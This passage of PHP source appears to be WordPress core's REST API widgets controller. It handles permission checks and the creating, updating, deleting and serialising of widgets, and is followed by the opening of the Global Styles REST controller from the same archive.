	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( $sidebar_id && $this->check_read_sidebar_permission( $sidebar_id ) ) {
			return true;
		}

		return $this->permissions_check( $request );
	}

	/**
	 * Checks if a sidebar can be read publicly.
	 *
	 * @since 5.9.0
	 *
	 * @param string $sidebar_id The sidebar ID.
	 * @return bool Whether the sidebar can be read.
	 */
	protected function check_read_sidebar_permission( $sidebar_id ) {
		$sidebar = wp_get_sidebar( $sidebar_id );

		return ! empty( $sidebar['show_in_rest'] );
	}

	/**
	 * Gets an individual widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( is_null( $sidebar_id ) ) {
			return new WP_Error(
				'rest_widget_not_found',
				__( 'No widget was found with that id.' ),
				array( 'status' => 404 )
			);
		}

		return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request );
	}

	/**
	 * Checks if a given request has access to create widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Creates a widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$sidebar_id = $request['sidebar'];

		$widget_id = $this->save_widget( $request, $sidebar_id );

		if ( is_wp_error( $widget_id ) ) {
			return $widget_id;
		}

		wp_assign_widget_to_sidebar( $widget_id, $sidebar_id );

		$request['context'] = 'edit';

		$response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response->set_status( 201 );

		return $response;
	}

	/**
	 * Checks if a given request has access to update widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Updates an existing widget.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		global $wp_widget_factory;

		/*
		 * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the
		 * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global.
		 *
		 * When batch requests are processed, this global is not properly updated by previous
		 * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets
		 * sidebar.
		 *
		 * See https://core.trac.wordpress.org/ticket/53657.
		 */
		wp_get_sidebars_widgets();
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		// Allow sidebar to be unset or missing when widget is not a WP_Widget.
		$parsed_id     = wp_parse_widget_id( $widget_id );
		$widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] );
		if ( is_null( $sidebar_id ) && $widget_object ) {
			return new WP_Error(
				'rest_widget_not_found',
				__( 'No widget was found with that id.' ),
				array( 'status' => 404 )
			);
		}

		if (
			$request->has_param( 'instance' ) ||
			$request->has_param( 'form_data' )
		) {
			$maybe_error = $this->save_widget( $request, $sidebar_id );
			if ( is_wp_error( $maybe_error ) ) {
				return $maybe_error;
			}
		}

		if ( $request->has_param( 'sidebar' ) ) {
			if ( $sidebar_id !== $request['sidebar'] ) {
				$sidebar_id = $request['sidebar'];
				wp_assign_widget_to_sidebar( $widget_id, $sidebar_id );
			}
		}

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request );
	}

	/**
	 * Checks if a given request has access to delete widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Deletes a widget.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widget_updates The registered widget update functions.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		global $wp_widget_factory, $wp_registered_widget_updates;

		/*
		 * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the
		 * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global.
		 *
		 * When batch requests are processed, this global is not properly updated by previous
		 * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets
		 * sidebar.
		 *
		 * See https://core.trac.wordpress.org/ticket/53657.
		 */
		wp_get_sidebars_widgets();
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( is_null( $sidebar_id ) ) {
			return new WP_Error(
				'rest_widget_not_found',
				__( 'No widget was found with that id.' ),
				array( 'status' => 404 )
			);
		}

		$request['context'] = 'edit';

		if ( $request['force'] ) {
			$response = $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request );

			$parsed_id = wp_parse_widget_id( $widget_id );
			$id_base   = $parsed_id['id_base'];

			$original_post    = $_POST;
			$original_request = $_REQUEST;

			$_POST    = array(
				'sidebar'         => $sidebar_id,
				"widget-$id_base" => array(),
				'the-widget-id'   => $widget_id,
				'delete_widget'   => '1',
			);
			$_REQUEST = $_POST;

			/** This action is documented in wp-admin/widgets-form.php */
			do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );

			$callback = $wp_registered_widget_updates[ $id_base ]['callback'];
			$params   = $wp_registered_widget_updates[ $id_base ]['params'];

			if ( is_callable( $callback ) ) {
				ob_start();
				call_user_func_array( $callback, $params );
				ob_end_clean();
			}

			$_POST    = $original_post;
			$_REQUEST = $original_request;

			$widget_object = $wp_widget_factory->get_widget_object( $id_base );

			if ( $widget_object ) {
				/*
				 * WP_Widget sets `updated = true` after an update to prevent more than one widget
				 * from being saved per request. This isn't what we want in the REST API, though,
				 * as we support batch requests.
				 */
				$widget_object->updated = false;
			}

			wp_assign_widget_to_sidebar( $widget_id, '' );

			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $response->get_data(),
				)
			);
		} else {
			wp_assign_widget_to_sidebar( $widget_id, 'wp_inactive_widgets' );

			$response = $this->prepare_item_for_response(
				array(
					'sidebar_id' => 'wp_inactive_widgets',
					'widget_id'  => $widget_id,
				),
				$request
			);
		}

		/**
		 * Fires after a widget is deleted via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param string                    $widget_id  ID of the widget marked for deletion.
		 * @param string                    $sidebar_id ID of the sidebar the widget was deleted from.
		 * @param WP_REST_Response|WP_Error $response   The response data, or WP_Error object on failure.
		 * @param WP_REST_Request           $request    The request sent to the API.
		 */
		do_action( 'rest_delete_widget', $widget_id, $sidebar_id, $response, $request );

		return $response;
	}

	/**
	 * Performs a permissions check for managing widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error
	 */
	protected function permissions_check( $request ) {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_widgets',
				__( 'Sorry, you are not allowed to manage widgets on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Looks for "lost" widgets once per request.
	 *
	 * @since 5.9.0
	 *
	 * @see retrieve_widgets()
	 */
	protected function retrieve_widgets() {
		if ( ! $this->widgets_retrieved ) {
			retrieve_widgets();
			$this->widgets_retrieved = true;
		}
	}

	/**
	 * Saves the widget in the request object.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widget_updates The registered widget update functions.
	 *
	 * @param WP_REST_Request $request    Full details about the request.
	 * @param string          $sidebar_id ID of the sidebar the widget belongs to.
	 * @return string|WP_Error The saved widget ID.
	 */
	protected function save_widget( $request, $sidebar_id ) {
		global $wp_widget_factory, $wp_registered_widget_updates;

		require_once ABSPATH . 'wp-admin/includes/widgets.php'; // For next_widget_id_number().

		if ( isset( $request['id'] ) ) {
			// Saving an existing widget.
			$id            = $request['id'];
			$parsed_id     = wp_parse_widget_id( $id );
			$id_base       = $parsed_id['id_base'];
			$number        = isset( $parsed_id['number'] ) ? $parsed_id['number'] : null;
			$widget_object = $wp_widget_factory->get_widget_object( $id_base );
			$creating      = false;
		} elseif ( $request['id_base'] ) {
			// Saving a new widget.
			$id_base       = $request['id_base'];
			$widget_object = $wp_widget_factory->get_widget_object( $id_base );
			$number        = $widget_object ? next_widget_id_number( $id_base ) : null;
			$id            = $widget_object ? $id_base . '-' . $number : $id_base;
			$creating      = true;
		} else {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'Widget type (id_base) is required.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! isset( $wp_registered_widget_updates[ $id_base ] ) ) {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'The provided widget type (id_base) cannot be updated.' ),
				array( 'status' => 400 )
			);
		}

		if ( isset( $request['instance'] ) ) {
			if ( ! $widget_object ) {
				return new WP_Error(
					'rest_invalid_widget',
					__( 'Cannot set instance on a widget that does not extend WP_Widget.' ),
					array( 'status' => 400 )
				);
			}

			if ( isset( $request['instance']['raw'] ) ) {
				if ( empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
					return new WP_Error(
						'rest_invalid_widget',
						__( 'Widget type does not support raw instances.' ),
						array( 'status' => 400 )
					);
				}
				$instance = $request['instance']['raw'];
			} elseif ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) {
				$serialized_instance = base64_decode( $request['instance']['encoded'] );
				if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) {
					return new WP_Error(
						'rest_invalid_widget',
						__( 'The provided instance is malformed.' ),
						array( 'status' => 400 )
					);
				}
				$instance = unserialize( $serialized_instance );
			} else {
				return new WP_Error(
					'rest_invalid_widget',
					__( 'The provided instance is invalid. Must contain raw OR encoded and hash.' ),
					array( 'status' => 400 )
				);
			}

			$form_data = array(
				"widget-$id_base" => array(
					$number => $instance,
				),
				'sidebar'         => $sidebar_id,
			);
		} elseif ( isset( $request['form_data'] ) ) {
			$form_data = $request['form_data'];
		} else {
			$form_data = array();
		}

		$original_post    = $_POST;
		$original_request = $_REQUEST;

		foreach ( $form_data as $key => $value ) {
			$slashed_value    = wp_slash( $value );
			$_POST[ $key ]    = $slashed_value;
			$_REQUEST[ $key ] = $slashed_value;
		}

		$callback = $wp_registered_widget_updates[ $id_base ]['callback'];
		$params   = $wp_registered_widget_updates[ $id_base ]['params'];

		if ( is_callable( $callback ) ) {
			ob_start();
			call_user_func_array( $callback, $params );
			ob_end_clean();
		}

		$_POST    = $original_post;
		$_REQUEST = $original_request;

		if ( $widget_object ) {
			// Register any multi-widget that the update callback just created.
			$widget_object->_set( $number );
			$widget_object->_register_one( $number );

			/*
			 * WP_Widget sets `updated = true` after an update to prevent more than one widget
			 * from being saved per request. This isn't what we want in the REST API, though,
			 * as we support batch requests.
			 */
			$widget_object->updated = false;
		}

		/**
		 * Fires after a widget is created or updated via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param string          $id         ID of the widget being saved.
		 * @param string          $sidebar_id ID of the sidebar containing the widget being saved.
		 * @param WP_REST_Request $request    Request object.
		 * @param bool            $creating   True when creating a widget, false when updating.
		 */
		do_action( 'rest_after_save_widget', $id, $sidebar_id, $request, $creating );

		return $id;
	}

	/**
	 * Prepares the widget for the REST response.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widgets The registered widgets.
	 *
	 * @param array           $item    An array containing a widget_id and sidebar_id.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		global $wp_widget_factory, $wp_registered_widgets;

		$widget_id  = $item['widget_id'];
		$sidebar_id = $item['sidebar_id'];

		if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'The requested widget is invalid.' ),
				array( 'status' => 500 )
			);
		}

		$widget = $wp_registered_widgets[ $widget_id ];
		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php */
			return apply_filters( 'rest_prepare_widget', new WP_REST_Response( array() ), $widget, $request );
		}

		$parsed_id = wp_parse_widget_id( $widget_id );
		$fields    = $this->get_fields_for_response( $request );

		$prepared = array(
			'id'            => $widget_id,
			'id_base'       => $parsed_id['id_base'],
			'sidebar'       => $sidebar_id,
			'rendered'      => '',
			'rendered_form' => null,
			'instance'      => null,
		);

		if (
			rest_is_field_included( 'rendered', $fields ) &&
			'wp_inactive_widgets' !== $sidebar_id
		) {
			$prepared['rendered'] = trim( wp_render_widget( $widget_id, $sidebar_id ) );
		}

		if ( rest_is_field_included( 'rendered_form', $fields ) ) {
			$rendered_form = wp_render_widget_control( $widget_id );
			if ( ! is_null( $rendered_form ) ) {
				$prepared['rendered_form'] = trim( $rendered_form );
			}
		}

		if ( rest_is_field_included( 'instance', $fields ) ) {
			$widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] );
			if ( $widget_object && isset( $parsed_id['number'] ) ) {
				$all_instances                   = $widget_object->get_settings();
				$instance                        = $all_instances[ $parsed_id['number'] ];
				$serialized_instance             = serialize( $instance );
				$prepared['instance']['encoded'] = base64_encode( $serialized_instance );
				$prepared['instance']['hash']    = wp_hash( $serialized_instance );

				if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
					// Use new stdClass so that JSON result is {} and not [].
					$prepared['instance']['raw'] = empty( $instance ) ? new stdClass() : $instance;
				}
			}
		}

		$context  = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$prepared = $this->add_additional_fields_to_object( $prepared, $request );
		$prepared = $this->filter_response_by_context( $prepared, $context );

		$response = rest_ensure_response( $prepared );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $prepared ) );
		}

		/**
		 * Filters the REST API response for a widget.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response|WP_Error $response The response object, or WP_Error object on failure.
		 * @param array                     $widget   The registered widget data.
		 * @param WP_REST_Request           $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_widget', $response, $widget, $request );
	}

	/**
	 * Prepares links for the widget.
	 *
	 * @since 5.8.0
	 *
	 * @param array $prepared Widget.
	 * @return array Links for the given widget.
	 */
	protected function prepare_links( $prepared ) {
		$id_base = ! empty( $prepared['id_base'] ) ? $prepared['id_base'] : $prepared['id'];

		return array(
			'self'                      => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $prepared['id'] ) ),
			),
			'collection'                => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'about'                     => array(
				'href'       => rest_url( sprintf( 'wp/v2/widget-types/%s', $id_base ) ),
				'embeddable' => true,
			),
			'https://api.w.org/sidebar' => array(
				'href' => rest_url( sprintf( 'wp/v2/sidebars/%s/', $prepared['sidebar'] ) ),
			),
		);
	}

	/**
	 * Gets the list of collection params.
	 *
	 * @since 5.8.0
	 *
	 * @return array[]
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
			'sidebar' => array(
				'description' => __( 'The sidebar to return widgets for.' ),
				'type'        => 'string',
			),
		);
	}

	/**
	 * Retrieves the widget's schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'widget',
			'type'       => 'object',
			'properties' => array(
				'id'            => array(
					'description' => __( 'Unique identifier for the widget.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'id_base'       => array(
					'description' => __( 'The type of the widget. Corresponds to ID in widget-types endpoint.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'sidebar'       => array(
					'description' => __( 'The sidebar the widget belongs to.' ),
					'type'        => 'string',
					'default'     => 'wp_inactive_widgets',
					'required'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'rendered'      => array(
					'description' => __( 'HTML representation of the widget.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'rendered_form' => array(
					'description' => __( 'HTML representation of the widget admin form.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'instance'      => array(
					'description' => __( 'Instance settings of the widget, if supported.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'default'     => null,
					'properties'  => array(
						'encoded' => array(
							'description' => __( 'Base64 encoded representation of the instance settings.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
						),
						'hash'    => array(
							'description' => __( 'Cryptographic hash of the instance settings.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
						),
						'raw'     => array(
							'description' => __( 'Unencoded instance settings, if supported.' ),
							'type'        => 'object',
							'context'     => array( 'edit' ),
						),
					),
				),
				'form_data'     => array(
					'description' => __( 'URL-encoded form data from the widget admin form. Used to update a widget that does not support instance. Write only.' ),
					'type'        => 'string',
					'context'     => array(),
					'arg_options' => array(
						'sanitize_callback' => static function ( $form_data ) {
							$array = array();
							wp_parse_str( $form_data, $array );
							return $array;
						},
					),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-global-styles-controller.php000064400000051317151724720270016742 0ustar00<?php
/**
 * REST API: WP_REST_Global_Styles_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Base Global Styles REST API Controller.
 */
class WP_REST_Global_Styles_Controller extends WP_REST_Posts_Controller {
	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.6.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => false );

	/**
	 * Constructor.
	 *
	 * @since 6.6.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type = 'wp_global_styles' ) {
		parent::__construct( $post_type );
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/themes/(?P<stylesheet>[\/\s%\w\.\(\)\[\]\@_\-]+)/variations',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_theme_items' ),
					'permission_callback' => array( $this, 'get_theme_items_permissions_check' ),
					'args'                => array(
						'stylesheet' => array(
							'description' => __( 'The theme identifier' ),
							'type'        => 'string',
						),
					),
					'allow_batch'         => $this->allow_batch,
				),
			)
		);

		// List themes global styles.
		register_rest_route(
			$this->namespace,
			// The route.
			sprintf(
				'/%s/themes/(?P<stylesheet>%s)',
				$this->rest_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?'
			),
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_theme_item' ),
					'permission_callback' => array( $this, 'get_theme_item_permissions_check' ),
					'args'                => array(
						'stylesheet' => array(
							'description'       => __( 'The theme identifier' ),
							'type'              => 'string',
							'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ),
						),
					),
					'allow_batch'         => $this->allow_batch,
				),
			)
		);

		// Lists/updates a single global style variation based on the given id.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\/\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'id' => array(
							'description'       => __( 'The id of a template' ),
							'type'              => 'string',
							'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ),
						),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema'      => array( $this, 'get_public_item_schema' ),
				'allow_batch' => $this->allow_batch,
			)
		);
	}

	/**
	 * Sanitize the global styles ID or stylesheet to decode endpoint.
	 * For example, `wp/v2/global-styles/twentytwentytwo%200.4.0`
	 * would be decoded to `twentytwentytwo 0.4.0`.
	 *
	 * @since 5.9.0
	 *
	 * @param string $id_or_stylesheet Global styles ID or stylesheet.
	 * @return string Sanitized global styles ID or stylesheet.
	 */
	public function _sanitize_global_styles_callback( $id_or_stylesheet ) {
		return urldecode( $id_or_stylesheet );
	}

	/**
	 * Get the post, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_post( $id ) {
		$error = new WP_Error(
			'rest_global_styles_not_found',
			__( 'No global styles config exist with that id.' ),
			array( 'status' => 404 )
		);

		$id = (int) $id;
		if ( $id <= 0 ) {
			return $error;
		}

		$post = get_post( $id );
		if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
			return $error;
		}

		return $post;
	}

	/**
	 * Checks if a given request has access to read a single global style.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_read_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to view this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a global style can be read.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be read.
	 */
	public function check_read_permission( $post ) {
		return current_user_can( 'read_post', $post->ID );
	}

	/**
	 * Checks if a given request has access to write a single global styles config.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares a single global styles config for update.
	 *
	 * @since 5.9.0
	 * @since 6.2.0 Added validation of styles.css property.
	 * @since 6.6.0 Added registration of block style variations from theme.json sources (theme.json, user theme.json, partials).
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Prepared item on success. WP_Error on when the custom CSS is not valid.
	 */
	protected function prepare_item_for_database( $request ) {
		$changes     = new stdClass();
		$changes->ID = $request['id'];

		$post            = get_post( $request['id'] );
		$existing_config = array();
		if ( $post ) {
			$existing_config     = json_decode( $post->post_content, true );
			$json_decoding_error = json_last_error();
			if ( JSON_ERROR_NONE !== $json_decoding_error || ! isset( $existing_config['isGlobalStylesUserThemeJSON'] ) ||
				! $existing_config['isGlobalStylesUserThemeJSON'] ) {
				$existing_config = array();
			}
		}

		if ( isset( $request['styles'] ) || isset( $request['settings'] ) ) {
			$config = array();
			if ( isset( $request['styles'] ) ) {
				if ( isset( $request['styles']['css'] ) ) {
					$css_validation_result = $this->validate_custom_css( $request['styles']['css'] );
					if ( is_wp_error( $css_validation_result ) ) {
						return $css_validation_result;
					}
				}
				$config['styles'] = $request['styles'];
			} elseif ( isset( $existing_config['styles'] ) ) {
				$config['styles'] = $existing_config['styles'];
			}

			// Register theme-defined variations e.g. from block style variation partials under `/styles`.
			$variations = WP_Theme_JSON_Resolver::get_style_variations( 'block' );
			wp_register_block_style_variations_from_theme_json_partials( $variations );

			if ( isset( $request['settings'] ) ) {
				$config['settings'] = $request['settings'];
			} elseif ( isset( $existing_config['settings'] ) ) {
				$config['settings'] = $existing_config['settings'];
			}
			$config['isGlobalStylesUserThemeJSON'] = true;
			$config['version']                     = WP_Theme_JSON::LATEST_SCHEMA;
			$changes->post_content                 = wp_json_encode( $config );
		}

		// Post title.
		if ( isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$changes->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$changes->post_title = $request['title']['raw'];
			}
		}

		return $changes;
	}

	/**
	 * Prepare a global styles config output for response.
	 *
	 * @since 5.9.0
	 * @since 6.6.0 Added custom relative theme file URIs to `_links`.
	 *
	 * @param WP_Post         $post    Global Styles post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		$raw_config                       = json_decode( $post->post_content, true );
		$is_global_styles_user_theme_json = isset( $raw_config['isGlobalStylesUserThemeJSON'] ) && true === $raw_config['isGlobalStylesUserThemeJSON'];
		$config                           = array();
		$theme_json                       = null;
		if ( $is_global_styles_user_theme_json ) {
			$theme_json = new WP_Theme_JSON( $raw_config, 'custom' );
			$config     = $theme_json->get_raw_data();
		}

		// Base fields for every post.
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $post->ID;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}
		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $post->post_title;
		}
		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );

			$data['title']['rendered'] = get_the_title( $post->ID );

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
		}

		if ( rest_is_field_included( 'settings', $fields ) ) {
			$data['settings'] = ! empty( $config['settings'] ) && $is_global_styles_user_theme_json ? $config['settings'] : new stdClass();
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$data['styles'] = ! empty( $config['styles'] ) && $is_global_styles_user_theme_json ? $config['styles'] : new stdClass();
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $post->ID );

			// Only return resolved URIs for get requests to user theme JSON.
			if ( $theme_json ) {
				$resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json );
				if ( ! empty( $resolved_theme_uris ) ) {
					$links['https://api.w.org/theme-file'] = $resolved_theme_uris;
				}
			}

			$response->add_links( $links );
			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $post, $request );
				$self    = $links['self']['href'];
				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		return $response;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 * @since 6.3.0 Adds revisions count and rest URL href to version-history.
	 *
	 * @param integer $id ID.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $id ) {
		$base = sprintf( '%s/%s', $this->namespace, $this->rest_base );

		$links = array(
			'self'  => array(
				'href' => rest_url( trailingslashit( $base ) . $id ),
			),
			'about' => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( post_type_supports( $this->post_type, 'revisions' ) ) {
			$revisions                = wp_get_latest_revision_id_and_total_count( $id );
			$revisions_count          = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
			$revisions_base           = sprintf( '/%s/%d/revisions', $base, $id );
			$links['version-history'] = array(
				'href'  => rest_url( $revisions_base ),
				'count' => $revisions_count,
			);
		}

		return $links;
	}

	/**
	 * Get the link relations available for the post and current user.
	 *
	 * @since 5.9.0
	 * @since 6.2.0 Added 'edit-css' action.
	 * @since 6.6.0 Added $post and $request parameters.
	 *
